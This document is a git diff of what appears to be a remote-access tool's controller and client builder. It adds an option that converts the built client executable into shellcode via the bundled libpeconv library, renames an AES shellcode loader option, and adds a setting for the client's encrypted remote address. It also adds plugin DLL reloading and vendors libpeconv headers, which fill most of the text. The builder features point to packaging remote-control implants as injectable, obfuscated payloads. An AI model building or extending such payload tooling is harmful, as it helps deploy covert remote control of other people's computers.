diff --git a/Dependencies.md b/Dependencies.md
index 781849e..c59478e 100644
--- a/Dependencies.md
+++ b/Dependencies.md
@@ -17,6 +17,7 @@
- [clip v1.11](https://github.com/dacap/clip)
- [PrivateDesktop v0.0.1](https://github.com/yuanyuanxiang/SimplePlugins)
- [FileUpload v0.0.1](https://github.com/yuanyuanxiang/SimplePlugins)
+- [libpeconv](https://github.com/hasherezade/libpeconv) (c7d1e48)
## *Note*
diff --git a/common/commands.h b/common/commands.h
index 567b697..04bccd7 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -577,7 +577,8 @@ enum ProtocolEncType {
enum ClientCompressType {
CLIENT_COMPRESS_NONE = 0,
CLIENT_COMPRESS_UPX = 1,
- CLIENT_COMPRESS_SC = 2,
+ CLIENT_COMPRESS_SC_AES = 2,
+ CLIENT_PE_TO_SEHLLCODE = 3,
};
#pragma pack(push, 4)
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 36b4dc5..9a87297 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 2e7e377..5192e45 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -503,7 +503,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_OBFS_SHELLCODE_BIN, &CMy2015RemoteDlg::OnObfsShellcodeBin)
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
-END_MESSAGE_MAP()
+ ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
+ END_MESSAGE_MAP()
// CMy2015RemoteDlg 消息处理程序
@@ -1119,6 +1120,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
return FALSE;
}
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
+ THIS_CFG.SetStr("settings", "SN", getDeviceID());
+ THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
+ THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
@@ -3739,3 +3743,15 @@ LRESULT CMy2015RemoteDlg::OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam)
return 0;
}
+
+
+void CMy2015RemoteDlg::OnToolReloadPlugins()
+{
+ if (IDYES!=MessageBoxA("请将64位的DLL放于主控程序的 'Plugins' 目录,是否继续?"
+ "\n执行未经测试的代码可能造成程序崩溃。", "提示", MB_ICONINFORMATION | MB_YESNO))
+ return;
+ char path[_MAX_PATH];
+ GetModuleFileNameA(NULL, path, _MAX_PATH);
+ GET_FILEPATH(path, "Plugins");
+ m_DllList = ReadAllDllFilesWindows(path);
+}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 98655a4..ed209aa 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -346,4 +346,5 @@ public:
afx_msg void OnObfsShellcodeBin();
afx_msg void OnShellcodeAesBin();
afx_msg void OnShellcodeTestAesBin();
+ afx_msg void OnToolReloadPlugins();
};
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 2e69a4a..e078b0c 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -79,7 +79,7 @@
true
- $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)
+ $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(IncludePath)
$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(SolutionDir)..\SimpleRemoter;$(LibraryPath)
@@ -90,7 +90,7 @@
false
$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(SolutionDir)..\SimpleRemoter;$(LibraryPath)
- $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)
+ $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(IncludePath)
@@ -250,6 +250,8 @@
+
+
@@ -365,6 +367,7 @@
NotUsing
NotUsing
+
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index 41f9a4d..c9ddb6e 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -55,6 +55,7 @@
+
@@ -203,6 +204,8 @@
+
+
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index ebfdbd8..ed129c9 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -64,6 +64,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
, m_strPort(_T(""))
, m_strFindden(FLAG_FINDEN)
, m_sGroupName(_T("default"))
+ , m_strEncryptIP(_T(""))
{
}
@@ -95,6 +96,7 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
+ ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp)
END_MESSAGE_MAP()
@@ -232,7 +234,8 @@ void CBuildDlg::OnBnClickedOk()
SAFE_DELETE_ARRAY(szBuffer);
return;
}
- if (startup != Startup_InjSC)
+ bool encrypt = m_strEncryptIP == _T("");
+ if (encrypt && startup != Startup_InjSC)
g_ConnectAddress.Encrypt();
try {
// ±ʶ
@@ -290,7 +293,7 @@ void CBuildDlg::OnBnClickedOk()
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
MessageBox("UPXѹעϢʾ\r\nļλ: " + strSeverFile + tip, "ʾ", MB_ICONINFORMATION);
} else {
- if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC) {
+ if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
if (data) {
@@ -323,6 +326,12 @@ void CBuildDlg::OnBnClickedOk()
}
SAFE_DELETE_ARRAY(data);
}
+ else if (m_ComboCompress.GetCurSel() == CLIENT_PE_TO_SEHLLCODE) {
+ int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
+ int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
+ if (ret)MessageBox(CString("ShellCode ת쳣, 쳣: ") + CString(std::to_string(ret).c_str()),
+ "ʾ", MB_ICONINFORMATION);
+ }
MessageBox("ɳɹ! ļλ:\r\n" + strSeverFile + tip, "ʾ", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(szBuffer);
@@ -382,7 +391,8 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "");
m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
- m_ComboCompress.InsertString(CLIENT_COMPRESS_SC, "SHELLCODE");
+ m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES, "ShellCode AES");
+ m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_OtherItem.ShowWindow(SW_HIDE);
@@ -454,3 +464,17 @@ void CBuildDlg::OnHelpFindden()
m_strFindden = dlg.m_str;
}
}
+
+
+void CBuildDlg::OnMenuEncryptIp()
+{
+ CInputDialog dlg(this);
+ dlg.m_str = m_strEncryptIP;
+ dlg.Init("Զ̵ַ", "ǻ߷:");
+ if (dlg.DoModal() == IDOK ) {
+ if (m_strEncryptIP != "" && m_strEncryptIP != "") {
+ MessageBoxA("ǻ߷!", "ʾ", MB_ICONINFORMATION);
+ }else
+ m_strEncryptIP = dlg.m_str;
+ }
+}
diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h
index 89c1118..1f0b9ca 100644
--- a/server/2015Remote/BuildDlg.h
+++ b/server/2015Remote/BuildDlg.h
@@ -42,4 +42,6 @@ public:
afx_msg void OnHelpFindden();
CEdit m_EditGroup;
CString m_sGroupName;
+ CString m_strEncryptIP;
+ afx_msg void OnMenuEncryptIp();
};
diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp
index 31eb587..04bf36a 100644
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -201,6 +201,8 @@ BOOL CScreenSpyDlg::OnInitDialog()
SetWindowText(strString);
m_hFullDC = ::GetDC(m_hWnd);
+ SetStretchBltMode(m_hFullDC, HALFTONE);
+ SetBrushOrgEx(m_hFullDC, 0, 0, NULL);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //创建应用程序可以直接写入的、与设备无关的位图
diff --git a/server/2015Remote/libpeconv/libpeconv_x64.lib b/server/2015Remote/libpeconv/libpeconv_x64.lib
new file mode 100644
index 0000000..5f9c4cf
Binary files /dev/null and b/server/2015Remote/libpeconv/libpeconv_x64.lib differ
diff --git a/server/2015Remote/libpeconv/libpeconv_x64d.lib b/server/2015Remote/libpeconv/libpeconv_x64d.lib
new file mode 100644
index 0000000..e1f5421
Binary files /dev/null and b/server/2015Remote/libpeconv/libpeconv_x64d.lib differ
diff --git a/server/2015Remote/libpeconv/peconv.h b/server/2015Remote/libpeconv/peconv.h
new file mode 100644
index 0000000..cdee177
--- /dev/null
+++ b/server/2015Remote/libpeconv/peconv.h
@@ -0,0 +1,32 @@
+/**
+* @file
+* @brief Master include file, including everything else.
+*/
+
+#pragma once
+
+#include "peconv/buffer_util.h"
+#include "peconv/util.h"
+#include "peconv/pe_hdrs_helper.h"
+#include "peconv/pe_mode_detector.h"
+#include "peconv/pe_raw_to_virtual.h"
+#include "peconv/pe_virtual_to_raw.h"
+#include "peconv/relocate.h"
+#include "peconv/remote_pe_reader.h"
+#include "peconv/imports_loader.h"
+#include "peconv/pe_loader.h"
+#include "peconv/pe_dumper.h"
+#include "peconv/exports_lookup.h"
+#include "peconv/function_resolver.h"
+#include "peconv/hooks.h"
+#include "peconv/exports_mapper.h"
+#include "peconv/caves.h"
+#include "peconv/fix_imports.h"
+#include "peconv/delayed_imports_loader.h"
+#include "peconv/resource_parser.h"
+#include "peconv/load_config_util.h"
+#include "peconv/peb_lookup.h"
+#include "peconv/find_base.h"
+#include "peconv/tls_parser.h"
+#include "peconv/exceptions_parser.h"
+#include "peconv/unicode.h"
diff --git a/server/2015Remote/libpeconv/peconv/buffer_util.h b/server/2015Remote/libpeconv/peconv/buffer_util.h
new file mode 100644
index 0000000..89cce48
--- /dev/null
+++ b/server/2015Remote/libpeconv/peconv/buffer_util.h
@@ -0,0 +1,88 @@
+/**
+* @file
+* @brief Definitions of the used buffer types. Functions for their allocation and deallocation.
+*/
+
+#pragma once
+
+#include
+
+#define MAX_DWORD 0xffffffff
+#define MAX_WORD 0xffff
+#define MASK_TO_DWORD(val) ((val < MAX_DWORD) ? (val & MAX_DWORD) : MAX_DWORD)
+#define MASK_TO_WORD(val) ((val < MAX_WORD) ? (val & MAX_WORD) : MAX_WORD)
+
+namespace peconv {
+
+ /**
+ Validates pointers, checks if the particular field is inside the given buffer. Sizes must be given in bytes.
+ \param buffer_bgn : the start address of the buffer
+ \param buffer_size : the size of the buffer
+ \param field_bgn : the start address of the field
+ \param field_size : the size of the field
+ \return true if the field (defined by its start address: field_bgn, and size: field_size) is contained within the given buffer
+ (defined by its start address: buffer_bgn, and size: buffer_size).
+ false otherwise
+ */
+ bool validate_ptr(
+ IN const void* buffer_bgn,
+ IN size_t buffer_size,
+ IN const void* field_bgn,
+ IN size_t field_size
+ );
+
+//-----------------------------------------------------------------------------------
+//
+// supported buffers:
+//
+ /**
+ A buffer allocated on the heap of a process, not aligned to the beginning of a memory page.
+ */
+ typedef PBYTE UNALIGNED_BUF;
+
+ /**
+ A buffer allocated in a virtual space of a process, aligned to the beginning of a memory page.
+ */
+ typedef PBYTE ALIGNED_BUF;
+
+//
+// alloc/free unaligned buffers:
+//
+ /**
+ Allocates a buffer on the heap. Can be used in the cases when the buffer does not have to start at the beginning of a page.
+ */
+ UNALIGNED_BUF alloc_unaligned(size_t buf_size);
+
+ //
+ /**
+ Frees buffer allocated by alloc_unaligned.
+ */
+ void free_unaligned(UNALIGNED_BUF section_buffer);
+
+//
+// alloc/free aligned buffers:
+//
+
+ /**
+ Allocates a buffer of a virtual memory (using VirtualAlloc). Can be used in the cases when the buffer have to be aligned to the beginning of a page.
+ */
+ ALIGNED_BUF alloc_aligned(size_t buffer_size, DWORD protect, void* desired_base=nullptr);
+
+ /**
+ Frees buffer allocated by alloc_aligned.
+ */
+ bool free_aligned(ALIGNED_BUF buffer, size_t buffer_size=0);
+
+ //PE buffers (wrappers)
+
+ /**
+ Allocates an aligned buffer for a PE file.
+ */
+ ALIGNED_BUF alloc_pe_buffer(size_t buffer_size, DWORD protect, void* desired_base=nullptr);
+
+ /**
+ Free the memory allocated with alloc_pe_buffer.
+ */
+ bool free_pe_buffer(ALIGNED_BUF buffer, size_t buffer_size=0);
+
+}; //namespace peconv
diff --git a/server/2015Remote/libpeconv/peconv/caves.h b/server/2015Remote/libpeconv/peconv/caves.h
new file mode 100644
index 0000000..7b5b5d7
--- /dev/null
+++ b/server/2015Remote/libpeconv/peconv/caves.h
@@ -0,0 +1,27 @@
+/**
+* @file
+* @brief Functions related to finding caves in the loaded PE file.
+*/
+
+#pragma once
+
+#include
+
+namespace peconv {
+
+ /**
+ Finds cave at the end of the image (extend last section's raw size without extending the full image size)
+ */
+ PBYTE find_ending_cave(BYTE* module_ptr, size_t module_size, const DWORD cave_size, const DWORD cave_charact=IMAGE_SCN_MEM_READ);
+
+ /**
+ Finds cave in the difference between the original raw size, and the raw size rounded to the aligmnent
+ */
+ PBYTE find_alignment_cave(BYTE* modulePtr, size_t moduleSize, const DWORD cave_size, const DWORD req_charact = IMAGE_SCN_MEM_READ);
+
+ /**
+ Finds cave at the end of the section, that comes from a NULL padding or INT3 padding
+ */
+ PBYTE find_padding_cave(BYTE* modulePtr, size_t moduleSize, const size_t minimal_size, const DWORD req_charact = IMAGE_SCN_MEM_READ);
+
+};//namespace peconv
diff --git a/server/2015Remote/libpeconv/peconv/delayed_imports_loader.h b/server/2015Remote/libpeconv/peconv/delayed_imports_loader.h
new file mode 100644
index 0000000..7c875f9
--- /dev/null
+++ b/server/2015Remote/libpeconv/peconv/delayed_imports_loader.h
@@ -0,0 +1,61 @@
+/**
+* @file
+* @brief Parsing and filling the Delayload Import Table.
+*/
+
+#pragma once
+
+#include
+
+#include "pe_hdrs_helper.h"
+#include "function_resolver.h"
+
+#if (defined(_WIN32_WINNT) && _WIN32_WINNT > 0x0601) || __MINGW32__ //Windows SDK version 6.1 (Windows 7)
+#define DELAYLOAD_IMPORTS_DEFINED
+#endif
+
+#ifndef DELAYLOAD_IMPORTS_DEFINED
+#include "pshpack4.h"
+
+typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR {
+ union {
+ DWORD AllAttributes;
+ struct {
+ DWORD RvaBased : 1; // Delay load version 2
+ DWORD ReservedAttributes : 31;
+ } DUMMYSTRUCTNAME;
+ } Attributes;
+
+ DWORD DllNameRVA; // RVA to the name of the target library (NULL-terminate ASCII string)
+ DWORD ModuleHandleRVA; // RVA to the HMODULE caching location (PHMODULE)
+ DWORD ImportAddressTableRVA; // RVA to the start of the IAT (PIMAGE_THUNK_DATA)
+ DWORD ImportNameTableRVA; // RVA to the start of the name table (PIMAGE_THUNK_DATA::AddressOfData)
+ DWORD BoundImportAddressTableRVA; // RVA to an optional bound IAT
+ DWORD UnloadInformationTableRVA; // RVA to an optional unload info table
+ DWORD TimeDateStamp; // 0 if not bound,
+ // Otherwise, date/time of the target DLL
+
+} IMAGE_DELAYLOAD_DESCRIPTOR, *PIMAGE_DELAYLOAD_DESCRIPTOR;
+
+typedef const IMAGE_DELAYLOAD_DESCRIPTOR *PCIMAGE_DELAYLOAD_DESCRIPTOR;
+
+#include "poppack.h"
+#endif
+
+namespace peconv {
+
+ /**
+ Get the Delayload Imports directory. Returns the pointer to the first descriptor. The size of the directory is passed via variable dir_size.
+ */
+ IMAGE_DELAYLOAD_DESCRIPTOR* get_delayed_imps(IN const BYTE* modulePtr, IN const size_t moduleSize, OUT size_t &dir_size);
+
+ /**
+ Fill the Delayload Imports in the given module.
+ \param modulePtr : the pointer to the module where the imports needs to be filled.
+ \param moduleBase : the base to which the module was relocated, it may (or not) be the same as modulePtr
+ \param func_resolver : the resolver that will be used for loading the imports
+ \return : true if resolving all succeeded, false otherwise
+ */
+ bool load_delayed_imports(BYTE* modulePtr, const ULONGLONG moduleBase, t_function_resolver* func_resolver = nullptr);
+
+}; // namespace peconv
diff --git a/server/2015Remote/libpeconv/peconv/exceptions_parser.h b/server/2015Remote/libpeconv/peconv/exceptions_parser.h
new file mode 100644
index 0000000..547ef75
--- /dev/null
+++ b/server/2015Remote/libpeconv/peconv/exceptions_parser.h
@@ -0,0 +1,21 @@
+/**
+* @file
+* @brief Functions related to Exceptions Table
+*/
+
+#pragma once
+
+#include "peconv/buffer_util.h"
+
+namespace peconv {
+
+ /**
+ Allows to activate the Exception table from the manually loaded module.
+ For 32-bits the loaded image should enable /SAFESEH linker option,
+ otherwise the exception handler cannot pass the RtlIsValidHandler() check
+ when an exception occurs
+ */
+ bool setup_exceptions(IN BYTE* modulePtr, IN size_t moduleSize);
+
+};
+
diff --git a/server/2015Remote/libpeconv/peconv/exported_func.h b/server/2015Remote/libpeconv/peconv/exported_func.h
new file mode 100644
index 0000000..9724b3f
--- /dev/null
+++ b/server/2015Remote/libpeconv/peconv/exported_func.h
@@ -0,0 +1,132 @@
+/**
+* @file
+* @brief A definition of ExportedFunc class - used for storing the details of the exported function. Helper functions related to the export parsing.
+*/
+
+#pragma once
+
+#include
+#include
+#include
+#include
+
+namespace peconv {
+
+ /**
+ Check if the pointer redirects to a forwarder - if so, return the length, otherwise return 0.
+ */
+ size_t forwarder_name_len(BYTE* fPtr);
+
+ /**
+ get the DLL name without the extension
+ */
+ std::string get_dll_shortname(const std::string& str);
+
+ /**
+ Get the function name from the string in a format: DLL_name.function_name
+ */
+ std::string get_func_name(const std::string& str);
+
+ /**
+ Convert ordinal value to the ordinal string (in a format #[ordinal])
+ */
+ std::string ordinal_to_string(DWORD func_ordinal);
+
+ /**
+ Check if the given string is in a format typical for storing ordinals (#[ordinal])
+ */
+ bool is_ordinal_string(const std::string& str);
+
+ /**
+ Get the ordinal value from the ordinal string (in a format #[ordinal])
+ */
+ DWORD ordinal_string_to_val(const std::string& str);
+
+ /**
+ Convert the function in a format: DLL_name.function_name into a normalized form (DLL name in lowercase).
+ */
+ std::string format_dll_func(const std::string& str);
+
+ /**
+ A class storing the information about the exported function.
+ */
+ class ExportedFunc
+ {
+ public:
+ /**
+ Converts the name to the normalized format.
+ */
+ static std::string formatName(std::string name);
+
+ //! Compares functions' names. If function is defined by an ordinal, compares ordinals. Does not include the DLL name in the comparison.
+ static bool isTheSameFuncName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
+
+ //! Compares functions' DLL names.
+ static bool isTheSameDllName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
+
+ //! Compares functions' names. If function is defined by an ordinal, compares ordinals. Includes the DLL name in the comparison.
+ static bool isTheSameFunc(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2);
+
+ std::string libName;
+ std::string funcName;
+ DWORD funcOrdinal;
+ bool isByOrdinal;
+
+ //default constructor:
+ ExportedFunc() : funcOrdinal(0), isByOrdinal(false) {}
+
+ ExportedFunc(const ExportedFunc& other);
+ ExportedFunc(std::string libName, std::string funcName, DWORD funcOrdinal);
+ ExportedFunc(std::string libName, DWORD funcOrdinal);
+ ExportedFunc(const std::string &forwarderName);
+
+ /**
+ Compare two functions with each other.
+ Gives the priority to the named functions: if one of the compared functions is unnamed, the named one is treated as smaller.
+ If both functions are unnamed, the function with the smaller ordinal is treated as smaller.
+ Otherwise, the function with the shorter name is treated as smaller.
+ */
+ bool operator < (const ExportedFunc& other) const
+ {
+ //if only one function is named, give the preference to the named one:
+ const size_t thisNameLen = this->funcName.length();
+ const size_t otherNameLen = other.funcName.length();
+ if (thisNameLen == 0 && otherNameLen > 0) {
+ return false;
+ }
+ if (thisNameLen > 0 && otherNameLen == 0) {
+ return true;
+ }
+ //select by shorter lib name:
+ int cmp = libName.compare(other.libName);
+ if (cmp != 0) {
+ return cmp < 0;
+ }
+ if (thisNameLen == 0 || otherNameLen == 0) {
+ return this->funcOrdinal < other.funcOrdinal;
+ }
+ if (thisNameLen != otherNameLen) {
+ return thisNameLen < otherNameLen;
+ }
+ cmp = funcName.compare(other.funcName);
+ return cmp < 0;
+ }
+
+ /**
+ Gets a string representation of the variable. Full info about the function: library, name, ordinal.
+ */
+ std::string toString() const;
+
+ /**
+ Gets a string representation of the variable. Short info about the function: only function name or ordinal (if the name is missing).
+ */
+ std::string nameToString() const;
+
+ bool isValid() const
+ {
+ return (funcName != "" || funcOrdinal != -1);
+ }
+ };
+
+}; //namespace peconv
+
diff --git a/server/2015Remote/libpeconv/peconv/exports_lookup.h b/server/2015Remote/libpeconv/peconv/exports_lookup.h
new file mode 100644
index 0000000..ee89084
--- /dev/null
+++ b/server/2015Remote/libpeconv/peconv/exports_lookup.h
@@ -0,0 +1,50 @@
+/**
+* @file
+* @brief Searching specific functions in PE's Exports Table.
+*/
+
+#pragma once
+#include
+
+#include "pe_hdrs_helper.h"
+#include "function_resolver.h"
+#include "exports_mapper.h"
+
+#include
+#include
+#include